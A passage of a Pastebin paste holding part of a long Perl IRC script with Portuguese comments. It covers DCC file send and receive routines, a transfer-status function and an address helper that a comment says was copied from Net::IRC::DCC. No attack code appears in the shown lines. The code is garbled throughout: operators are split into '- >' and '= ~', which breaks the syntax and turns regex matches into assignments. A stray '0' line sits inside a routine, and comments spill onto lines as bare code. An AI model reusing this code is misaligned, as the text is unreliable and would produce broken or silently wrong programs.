  3514.  
  3515.  
  3516. }
  3517. until $sendsock;
  3518.  
  3519.  
  3520.  
  3521.  
  3522. $DCC {
  3523. $sendsock
  3524. } {
  3525. tipo
  3526. } = 'send';
  3527.  
  3528.  
  3529.  
  3530. $DCC {
  3531. $sendsock
  3532. } {
  3533. nick
  3534. } = $nick;
  3535.  
  3536.  
  3537.  
  3538. $DCC {
  3539. $sendsock
  3540. } {
  3541. bytes
  3542. } = $size_total;
  3543.  
  3544.  
  3545.  
  3546. $DCC {
  3547. $sendsock
  3548. } {
  3549. arquivo
  3550. } = $arquivo;
  3551.  
  3552.  
  3553.  
  3554.  
  3555. & ::ctcp("$nick", "DCC SEND $dccark $longip $porta $size_total");
  3556.  
  3557.  
  3558.  
  3559.  
  3560. }
  3561.  
  3562.  
  3563.  
  3564.  
  3565. sub GET {
  3566.  
  3567.  
  3568.  
  3569. my($arquivo, $dcclongip, $dccporta, $bytes, $nick) = @_;
  3570.  
  3571.  
  3572.  
  3573. return (0) if (-e "$arquivo");
  3574.  
  3575.  
  3576.  
  3577. if (open(FILE, "> $arquivo")) {
  3578.  
  3579.  
  3580.  
  3581. close FILE;
  3582. } else {
  3583. return (0);
  3584. }
  3585.  
  3586. my $dccip = fixaddr($dcclongip);
  3587. return (0) if ($dccporta < 1024 or not defined $dccip or $bytes < 1);
  3588. my $dccsock = IO::Socket::INET - > new(Proto => "tcp", PeerAddr => $dccip, PeerPort => $dccporta, Timeout => 15) or
  3589. return (0);
  3590. 0
  3591. $dccsock - > autoflush(1);
  3592. $dcc_sel - > add($dccsock);
  3593. $DCC {
  3594. $dccsock
  3595. } {
  3596. tipo
  3597. } = 'get';
  3598. $DCC {
  3599. $dccsock
  3600. } {
  3601. itime
  3602. } = time;
  3603. $DCC {
  3604. $dccsock
  3605. } {
  3606. nick
  3607. } = $nick;
  3608. $DCC {
  3609. $dccsock
  3610. } {
  3611. bytes
  3612. } = $bytes;
  3613. $DCC {
  3614. $dccsock
  3615. } {
  3616. curbyte
  3617. } = 0;
  3618. $DCC {
  3619. $dccsock
  3620. } {
  3621. arquivo
  3622. } = $arquivo;
  3623. $DCC {
  3624. $dccsock
  3625. } {
  3626. ip
  3627. } = $dccip;
  3628.  
  3629. $DCC {
  3630. $dccsock
  3631. } {
  3632. porta
  3633. } = $dccporta;
  3634. $DCC {
  3635. $dccsock
  3636. } {
  3637. status
  3638. } = "Recebendo";
  3639. }#
  3640. po fico xato de organiza o status..dai fiz ele retorna o status de acordo com o socket..dai o ADM.pl lista os sockets e faz as perguntas
  3641.  
  3642. sub Status {
  3643. my $socket = shift;
  3644.  
  3645. my $sock_tipo = $DCC {
  3646. $socket
  3647. } {
  3648. tipo
  3649. };
  3650.  
  3651. unless(lc($sock_tipo) eq "chat") {
  3652. my $nick = $DCC {
  3653. $socket
  3654. } {
  3655. nick
  3656. };
  3657. my $arquivo = $DCC {
  3658. $socket
  3659. } {
  3660. arquivo
  3661. };
  3662. my $itime = $DCC {
  3663. $socket
  3664. } {
  3665. itime
  3666. };
  3667. my $ftime = time;
  3668. my $status = $DCC {
  3669. $socket
  3670. } {
  3671. status
  3672. };
  3673. $ftime = $DCC {
  3674. $socket
  3675. } {
  3676. ftime
  3677. }
  3678. if defined($DCC {
  3679. $socket
  3680. } {
  3681. ftime
  3682. });
  3683. my $d_time = $ftime - $itime;
  3684. my $cur_byte = $DCC {
  3685. $socket
  3686. } {
  3687. curbyte
  3688. };
  3689. my $bytes_total = $DCC {
  3690. $socket
  3691. } {
  3692. bytes
  3693. };
  3694. my $rate = 0;
  3695. $rate = ($cur_byte / 1024) / $d_time
  3696. if $cur_byte > 0;
  3697. my $porcen = ($cur_byte * 100) / $bytes_total;
  3698. my($r_duv, $p_duv);
  3699. if ($rate = ~/^(\d+)\.(\d)(\d)(\d)/) {
  3700. $r_duv = $3;
  3701. $r_duv++
  3702. if $4 >= 5;
  3703. $rate = "$1\.$2".
  3704. "$r_duv";
  3705. }
  3706. if ($porcen = ~/^(\d+)\.(\d)(\d)(\d)/) {
  3707. $p_duv = $3;
  3708. $p_duv++
  3709. if $4 >= 5;
  3710. $porcen = "$1\.$2".
  3711. "$p_duv";
  3712. }
  3713. return ("$sock_tipo", "$status", "$nick", "$arquivo", "$bytes_total", "$cur_byte", "$d_time", "$rate", "$porcen");
  3714.  
  3715. }
  3716.  
  3717. return (0);
  3718.  
  3719. }#
  3720. esse 'sub fixaddr'
  3721. daki foi pego do NET::IRC::DCC identico soh copiei e coloei(colokar nome do autor)
  3722.  
  3723. sub fixaddr {
  3724. my($address) = @_;
  3725.  
  3726. chomp $address;#
  3727. just in
  3728. case, sigh.
  3729. if($address = ~/^\d+$/) {
  3730. return inet_ntoa(pack "N", $address);
  3731. }
  3732. elsif($address = ~/^[12]?\d{1,2}\.[12]?\d{1,2}\.[12]?\d{1,2}\.[12]?\d{1,2}$/) {
  3733. return $address;
  3734. }
  3735. elsif($address = ~tr / a - zA - Z //) { # Whee! Obfuscation!
  3736. return inet_ntoa(((gethostbyname($address))[4])[0]);
  3737. } else {
  3738. return;
  3739. }
  3740. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement
Public Pastes
Advertisement
We use cookies for various purposes including analytics. By continuing to use Pastebin, you agree to our use of cookies as described in the Cookies Policy.  OK, I Understand
Not a member of Pastebin yet?
Sign Up, it unlocks many cool features!